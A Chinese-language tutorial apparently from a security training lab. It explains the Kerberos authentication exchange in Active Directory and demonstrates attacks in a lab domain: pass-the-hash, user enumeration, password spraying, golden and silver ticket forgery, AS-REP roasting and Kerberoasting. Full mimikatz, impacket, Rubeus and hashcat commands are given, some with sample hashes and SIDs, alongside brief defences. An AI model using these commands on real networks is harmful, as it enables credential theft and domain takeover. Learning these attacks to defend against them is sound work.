kerberos協議從0到1

合天網安實驗室 發佈 2022-09-28T13:42:46.852422+00:00

krbtgt用戶,是系統在創建域時自動生成的一個帳號,其作用是密鑰分發中心的服務帳號,其密碼是系統隨機生成的,無法登錄主機。

概念

krbtgt用戶,是系統在創建域時自動生成的一個帳號,其作用是密鑰分發中心的服務帳號,其密碼是系統隨機生成的,無法登錄主機

【----幫助網安學習,需要網安學習資料關注我,私信回復「資料」免費獲取----】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊

⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)

windows密碼Hash圖解如下

AS-REQ

AS-REQ:當域內某個用戶試圖訪問域中的某個服務,輸入用戶名和密碼,本機的Kerberos服務向KDC的AS認證服務發送一個AS-REQ認證請求,請求中包含:請求的用戶名、客戶端主機名、加密類型和Authenticator(用戶NTML Hash加密的時間戳)以及其他的一些信息

wireshark抓包分析

req-body詳細請求包

pvno:kerberos版本號,這裡為5


msg-type:消息類型,AS_REQ對應的是krb-as-req(10)


padata:主要是一些認證信息,每個認證消息有type和value


  PADA PA-ENC-TIMESTAMP:預認證,用用戶hash加密時間戳,作為value發送給AS伺服器,AS伺服器擁有用戶hash,使用用戶hash進行解密,獲得時間戳,如果能解密,且時間戳在一定的範圍內,則證明認證通過。由於用戶密碼是hash加密,所以能夠利用hash傳遞


    padata-type:padata類型,這裡是KRB5-PADATA-ENC-TIMESTAMP(2)
    padata-value:padata的值
      etype:padata類型,這裡是eTYPE-AES256-CTS-HMAC-SHA1-96(18)
      cipher:密鑰


  PADA PA-PAC-REQUEST:啟用PAC支持的擴展。PAC並不在原生的kerberos裡面,是微軟引進的拓展。PAC包含在相應包AS_REP中,這裡的value對應的值為True或False,KDC根據include的值來確定返回的票據中是否需要攜帶PAC


    padata-type:padata類型,這是eTYPE-AES256-CTS-HMAC-SHA1-96(18)
      padata-value:padata的值
        include-PAC:是否包含PAC,這裡為True
req-body:請求body


  padding:填充,這裡為0


  kdc-options:用於與KDC預定一些選項設置


  cname:客戶端用戶名,這個用戶名存在和不存在,返回的包有差異,可以用於枚舉域內用戶名,PrincipalName類型,包含type和Value


    name-type:名字類型,這裡是KRB5-NT-PRINCIPAL(1)
    cname-string:名字,也就是請求的用戶名
      CNameString:請求的用戶名,這裡為mars2


  realm:域名,這裡為DRUNKMARS0


  sname:服務端用戶名,PrincipalName類型,包含type和value,在AS-REQ裡面snames為krbtgt
    SNameString:這裡是用戶名 krbtgt
    SNameString:這裡是域名 DRUNKMARS0
  till:到期時間,rubeus和kekeo都是20370913024805Z,這個可以作為特徵來檢測工具


  rtime:到期時間


  nonce:隨機生成的一個數,kekeo/mimikatz nonce是12381973,rubeus nonce是1818848256,這個也可以用來作為特徵檢測工具


  etype:加密類型,這裡有6個items


  address:客戶端的請求地址,也就是客戶端的主機名


    HostAddress MESSI-PC<20>
      ddr-type:地址類型,這裡是nETBIOS(20)
      NetBIOS Name:MESSI-PC<20> (Server service)

net config workstation 查看域內信息

AS-REQ過程中的攻擊方式

hash傳遞

msf進行hash傳遞

只適用於域環境,並且目標主機需要安裝 KB2871997補丁

mimikatz進行hash傳遞

這裡mimikatz獲取到hash之後不能複製粘貼,這時可以將獲取到的hash導出到log日誌中,命令如下

mimikatz log privilege::debug sekurlsa::ekeys

抓取sid為500的administrator的ntlm哈希

privilege::debug


sekurlsa::logonpasswords

執行命令

sekurlsa::pth /user:administrator /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c

KB2871997

安裝KB2871997這個補丁之後,只能用sid為500的管理員帳戶進行pass hash

PTK(pass the key)

獲取aes-key:

privilege::debug


sekurlsa::ekeys

注入aes-key:

sekurlsa::pth /user:administrator /domain:Drunkmars.com /aes256:cf5dba161f3a3dc89454742ff5db89980d6b07e771048b30006546e81d1d79e2

域內用戶枚舉

使用kerbrute工具:

https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe

前提需要DC需要開啟kerberos 88埠

準備用戶名保存為txt

使用以下命令

kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt

使用kerbrute進行錯誤枚舉的原理就是kerberos有三種錯誤代碼:

KDC_ERR_PREAUTH_REQUIRED-需要額外的預認證(啟用)

KDC_ERR_CLIENT_REVOKED-客戶端憑證已被吊銷(禁用)

KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos資料庫中找不到客戶端(不存在)

在DC抓包可以看到有4個UNKNOWN,1個REQUIRED,證明有這個用戶名存在

密碼噴灑

當用戶名存在,密碼正確和錯誤返回的包是不相同的,所以知道用戶名的情況下可以用一個相同的密碼去爆破用戶,這種針對所有用戶的自動密碼猜測是為了防止帳戶被鎖定,因為針對同一個用戶連續密碼猜測很容易導致帳戶被鎖。所以只有對所有用戶同時執行特定的密碼進行嘗試,才能增加破解的概率,消除帳號被鎖定的可能

使用以下命令

kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519..

密碼同樣存在三種錯誤代碼

KDC_ERR_PREAUTH_REQUIRED-需要額外的預認證(啟用)

KDC_ERR_CLIENT_REVOKED-客戶端憑證已被吊銷(禁用)

KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos資料庫中找不到客戶端(不存在)

同樣在DC抓包,有4個UNKNOWN,1個REQUIRED

AS-REP

AS-REP:當KDC接受到請求之後,通過AD活動目錄查詢得到該用戶的密碼hash,用該密碼hash對請求包的Authenticator進行解密,如果解密成功,則證明請求者提供的密碼正確,而且需要時間戳範圍在五分鐘內,且不是重放,則域認證成功。KAS成功認證對方的身份之後,發送相應包給客戶端,響應包中主要包括krbtgt用戶的NTLM hash加密後的TGT認購權證(即ticket這部分)和用戶NTLM hash加密的Login Session key(即最外層enc-part這部分)以及一些其他信息。該Login Session key的作用是用於確保客戶端和KDC下階段之間通信安全。最後TGT認購權證,加密的Login Session Key、時間戳和PAC等信息會發送給客戶端。PAC中包含用戶的SID,用戶所在的組等一些信息。

在enc-part裡面最重要的欄位就是Login session key,作為下階段的認證密鑰

AS-REP中最核心的東西就是Login session-key 和加密的 ticket。正常我們用工具生成的憑據是.ccache和.kirbi後綴的,用mimikatz,kekeo,rebeus生成的憑據是.kirbi後綴的,impacket生成的憑據是.ccache,兩種票據主要包含的都是Login session-key 和加密的 ticket,因此可以相互轉換

AS-REP中的攻擊方式

黃金票據

使用mimikatz

先獲取krbtgt hash

DC執行

mimikatz.exe "lsadump::dcsync /domain:Drunkmars.com /user:

獲得如下信息

sid:S-1-5-21-652679085-3170934373-4288938398-502


ntlm hash:c1833c0783cfd81d3548dd89b017c99a


aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50

偽造administrator執行(aes256)生成gold.kirbi

mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50 /user:administrator /ticket:gold.kirbi"


偽造administrator執行(krbtgt hash)生成gold.kirbi

mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /user:administrator /ticket:gold.kirbi"


導入golden.kirbi,執行命令

kerberos::ptt C:\\Users\\mars2\\Desktop\\gold.kirbi

查看本地緩存,發現憑據成功導入

kerberos::list

打開新的cmd,用klist查看憑證

dir連接過去,注意這裡必須要主機名,不能夠用IP連接

這裡有一個坑,必須要管理員權限開cmd,不然也會顯示拒絕訪問

看下權限,處於Domain Users

查看所有組

net group /do

查看Domain Controllers組,這裡我在域用戶機器上可以查看是因為我導入了金票,實際上這個命令只能在DC上才能查看

net group "Domain Controllers" /do

刪除憑據

kerberos::purge

使用impacket

使用kali,不在域內需要把dns改向域控

先生成票據administrator.ccache

python3 ticketer.py -domain-sid S-1-5-21-652679085-3170934373-4288938398-502 -nthash c1833c0783cfd81d3548dd89b017c99a -domain Drunkmars.com administrator

導入票據

export KRB5CCNAME=administrator.ccache

然後訪問域控

python3 SMBexec.py -no-pass -k WIN-M836NN6NU8B.Drunkmars.com

AS-REP Roasting

在AS-REP階段,最外層的enc-part是用戶密碼hash加密的。對於域用戶,如果設置了"Do not require Kerberos preauthentication",此時向域控的88埠發送AS-REP內容(enc-part底下的ciper,因為這部分是使用用戶hash加密的Login Session Key,通過離線爆破就可以獲得用戶hash)重新組合,能夠拼接成"Kerberos 5 AS-REP etype 23"(18200)的格式,接下來可以通過hashcat對其破解,最終獲得明文密碼,這就構成了AS-REP Roasting攻擊

默認這個功能是不啟用的,如果啟用AS-REP會返回用戶hash加密的sessionkey-as,這樣我們就能夠用john離線破解

使用Empire下的powerview.ps1查找域中設置了"不需要kerberos預認證"的用戶

Import-Module .\powerview.ps1


Get-DomainUser -PreauthNotRequired

使用ASREPRoast.ps1獲取AS-REP返回的hash

Import-Module .\ASREPRoast.ps1


Get-ASREPHash -Username mars2 -Domain Drunkmars.com | Out-File Encoding ASCII hash.txt

修改為hashcat能識別的格式,在$krb5asrep後面添加$23拼接

hashcat -m 18200 hash.txt pass.txt --force

TGS-REQ

經過上面的步驟,客戶端獲得了 TGT認購權證 和 Login Session Key。然後用自己的密碼NTLM Hash解密Login Session Key得到 原始的LogonSession Key。然後它會在本地緩存此 TGT認購權證 和 原始的Login Session Key。如果現在它需要訪問某台伺服器的某個服務,它就需要憑藉這張TGT認購憑證向KDC購買相應的入場券ST服務票據(Service Ticket)。ST服務票據是通過KDC的另一個服務 TGS(Ticket Granting Service)出售的。在這個階段,微軟引入了兩個擴展自協議 S4u2self 和 S4u2Proxy(當委派的時候,才用的到)

TGS-REQ:客戶端向KDC購買針對指定服務的ST服務票據請求,該請求主要包含如下的內容:客戶端信息、Authenticator(Login Session Key加密的時間戳)、TGT認購權證(padata下ap-req下的ticket) 和 訪問的服務名以及一些其他信息

TGS-REP

TGS-REP:TGS接收到請求之後,首先會檢查自身是否存在客戶端所請求的服務。如果服務存在,則通過 krbtgt 用戶的NTLM Hash 解密TGT並得到Login Session Key,然後通過Login Session Key解密Authenticator,如果解密成功,則驗證了對方的真實身份,同時還會驗證時間戳是否在範圍內。並且還會檢查TGT中的時間戳是否過期,且原始地址是否和TGT中保存的地址相同。

在完成上述的檢測後,如果驗證通過,則TGS完成了對客戶端的認證,會生成一個用Logon Session Key加密後的用於確保客戶端-伺服器之間通信安全的Service Session Key會話秘鑰(也就是最外層enc-part部分)。並且會為該客戶端生成ST服務票據。ST服務票據主要包含兩方面的內容:客戶端用戶信息 和 原始Service Session Key,整個ST服務票據用該服務的NTLM Hash進行加密。

最終Service Session Key 和 ST服務票據發送給客戶端。(這一步不管用戶有沒有訪問服務的權限,只要TGT正確,就都會返回ST服務票據,這也是kerberoasting能利用的原因,任何一個用戶,只要hash正確,就可以請求域內任何一個服務的ST票據)

enc-part:這部分是用請求服務的密碼Hash加密的。因此如果我們擁有服務的密碼Hash,那麼我們就可以自己製作一個ST服務票據,這就造成了白銀票據攻擊。也正因為該票據是用請求服務的密碼Hash加密的,所以當我們得到了ST服務票據,可以嘗試爆破enc_part,來得到服務的密碼Hash。這也就造成了kerberoast攻擊。

TGS-REP過程中的攻擊方式

何為SPN

SPN(ServicePrincipal Names)服務主體名稱,是服務實例(比如:HTTP、SMB、MySQL等服務)的唯一標識符。

Kerberos認證過程使用SPN將服務實例與服務登錄帳戶相關聯,如果想使用 Kerberos 協議來認證服務,那麼必須正確配置SPN。如果在整個林或域中的計算機上安裝多個服務實例,則每個實例都必須具有自己的SPN。如果客戶端可能使用多個名稱進行身份驗證,則給定服務實例可以具有多個SPN。SPN始終包含運行服務實例的主機的名稱,因此服務實例可以為其主機的每個名稱或別名註冊SPN。一個用戶帳戶下可以有多個SPN,但一個SPN只能註冊到一個帳戶。在內網中,SPN掃描通過查詢向域控伺服器執行服務發現。這對於紅隊而言,可以幫助他們識別正在運行重要服務的主機,如終端,交換機等。SPN的識別是kerberoasting攻擊的第一步。

下面通過一個例子來說明SPN的作用:

當某用戶需要訪問MySQL服務時,系統會以當前用戶的身份向域控查詢SPN為MySQL的記錄。當找到該SPN記錄後,用戶會再次與KDC通信,將KDC發放的TGT作為身份憑據發送給KDC,並將需要訪問的SPN發送給KDC。KDC中的TGS服務對TGT進行解密。確認無誤後,由TGS將一張允許訪問該SPN所對應的服務的ST服務票據和該SPN所對應的服務的地址發送給用戶,用戶使用該票據即可訪問

MySQL服務。

SPN分為兩種類型:

1.是註冊在活動目錄的機器帳戶(Computers)下,當一個服務的權限為 Local System 或 Network Service,則SPN註冊在機器帳戶(Computers)下。域中的每個機器都會有註冊兩個SPN:HOST/主機名和 HOST/主機名.Drunkmars.com

2.是註冊在活動目錄的域用戶帳戶(Users)下,當一個服務的權限為一個域用戶,則SPN註冊在域用戶帳戶(Users)下

查看當前域內所有的SPN:

setspn -Q \* \*

查看指定域Drunkmars.com註冊的SPN:

setspn -T Drunkmars.com -Q \* \*

如果指定域不存在,則默認切換到查找本域的SPN

查找本域內重複的SPN:

setspn -X

刪除指定SPN:

setspn -D MySQL/win7.Drunkmars.com:1433/MSSQL hack

查找指定用戶/主機名註冊的SPN:

setspn -L username/hostname

Kerberoast攻擊

Kerberoast攻擊過程:

1.攻擊者對一個域進行身份驗證,然後從域控制器獲得一個TGT認購權證,該TGT認購權證用於以後的ST服務票據請求

2.攻擊者使用他們的 TGT認購權證 發出ST服務票據請求(TGS-REQ) 獲取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中應該是唯一的,並且在用戶或計算機帳戶的servicePrincipalName 欄位中註冊。在服務票證請求(TGS-REQ)過程中,攻擊者可以指定它們支持的Kerberos加密類型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。

3.如果攻擊者的 TGT 是有效的,則 DC 將從TGT認購權證中提取信息並填充到ST服務票據中。然後,域控制器查找哪個帳戶在ServicedPrincipalName 欄位中註冊了所請求的 SPN。ST服務票據使用註冊了所要求的 SPN 的帳戶的NTLM哈希進行加密,並使用攻擊者和服務帳戶共同商定的加密算法。ST服務票據以服務票據回復(TGS-REP)的形式發送回攻擊者。

4.攻擊者從 TGS-REP 中提取加密的服務票證。由於服務票證是用連結到請求 SPN 的帳戶的哈希加密的,所以攻擊者可以離線破解這個加密塊,恢復帳戶的明文密碼。

首先是請求服務票據

1.Rubeus.exe請求

Rubeus裡面的kerberoast支持對所有用戶或者特定用戶執行kerberoasting操作,其原理在於先用LDAP查詢於內的spn,再通過發送TGS包,然後直接列印出能使用hashcat 或 john 爆破的Hash。以下的命令會列印出註冊於用戶下的所有SPN的服務票據的hashcat格式

Rubeus.exe kerberoast

2.powershell請求

#請求服務票據


Add-Type -AssemblyName System.IdentityModel


New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"


#列出服務票據


klist

3.mimikatz請求

請求服務票據

kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433

列出服務票據

kerberos::list

清除所有票據

kerberos::purge

4.Impacket中的GetUserSPNS.py請求

該腳本可以請求註冊於用戶下的所有SPN的服務票據。使用該腳本需要提供域帳號密碼才能查詢。該腳本直接輸出hashcat格式的服務票據,可用hashcat直接爆破。

python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack

導出票據

首先是查看klistmimikatz.exe "kerberos::list"

MSF裡面

load kiwi


kerberos_ticket_list

load kiwi


kiwi_cmd kerberos::list

1.mimikatz導出

mimikatz.exe "kerberos::list /export" "exit"

執行完後,會在mimikatz同目錄下導出 後綴為kirbi的票據文件

2.Empire下的Invoke-Kerberoast.ps1

Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat

離線破解服務票據

1.kerberoast中的tgsrepcrack.py

python2 tgsrepcrack.py password.txt xx.kirbi

2.hashcat

將導出的hashcat格式的哈希保存為hash.txt文件,放到hashcat的目錄下

hashcat -m 13100 hash.txt pass.txt

Kerberoast攻擊防範

確保服務帳號密碼為強密碼(長度、隨機性、定期修改)

如果攻擊者無法將默認的AES256_HMAC加密方式改為RC4_HMAC_MD5,就無法實驗tgsrepcrack.py來破解密碼。

攻擊者可以通過嗅探的方法抓取Kerberos TGS票據。因此,如果強制實驗AES256_HMAC方式對Kerberos票據進行加密,那麼,即使攻擊者獲取了Kerberos票據,也無法將其破解,從而保證了活動目錄的安全性。

許多服務帳戶在內網中被分配了過高的權限,且密碼強度較差。攻擊者很可能通過破解票據的密碼,從域用戶權限提升到域管理員權限。因此,應該對服務帳戶的權限進行適當的配置,並提高密碼的強度。

在進行日誌審計時,可以重點關注ID為4679(請求Kerberos服務票據)的時間。如果有過多的 4769 日誌,應進一步檢查系統中是否存在惡意行為。

白銀票據

在TGS-REP階段,TGS_REP裡面的ticket的enc-part是使用服務的hash進行加密的,如果我們擁有服務的hash,就可以給我們自己簽發任意用戶的TGS票據,這個票據也被稱為白銀票據。相較於黃金票據,白銀票據使用要訪問服務的hash,而不是krbtgt的hash,由於生成的是TGS票據,不需要跟域控打交道,但是白銀票票據只能訪問特定服務。但是要注意的一點是,偽造的白銀票據沒有帶有有效KDC簽名的PAC。如果將目標主機配置為驗證KDCPAC簽名,則銀票將不起作用

要創建白銀票據,我們需要知道以下信息:

  • 要偽造的域用戶(這裡我們一般填寫域管理員帳戶)
  • 域名
  • 域的SID值(就是域成員SID值去掉最後的)
  • 目標服務的FQDN
  • 可利用的服務
  • 服務帳號的NTLM哈希

這裡使用白銀票據偽造CIFS服務,該通常用於Windows主機之間的文件共享。

1.mimikatz獲得服務帳號的ntlm hash

privilege::Debug


sekurlsa::logonpasswords

得到ntlm為7c64e7ebf46b9515c56b2dd522d21c1c

2.使用白銀票據攻擊

kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt

3.查看票據

4.訪問域控

防禦:

偽造的白銀票據沒有帶有有效KDC簽名的PAC。如果將目標主機配置為驗證KDCPAC簽名,則銀票將不起作用。

黃金票據和白銀票據的不同點

訪問權限不同:

黃金票據Golden Ticket:偽造TGT認購權證,可以獲取任何Kerberos服務權限

白銀票據Silver Ticket:偽造ST服務票據,只能訪問指定的服務

加密方式不同:

Golden Ticket由krbtgt的Hash加密

Silver Ticket由服務帳號(通常為計算機帳戶)Hash加密

認證流程不同:

Golden Ticket的利用過程需要訪問域控,而Silver Ticket不需要

推薦實操:Kerberos網絡認證協議搭建與分析

PC端體驗地址:http://mrw.so/65TSBw

Kerberos協議最初是麻省理工學院(MIT)為其Athena項目開發的。本實驗主要介紹了windows server2003系統的域和DNS伺服器的搭建,通過本實驗的學習學會kerberos網絡認證協議搭建方式。

關鍵字: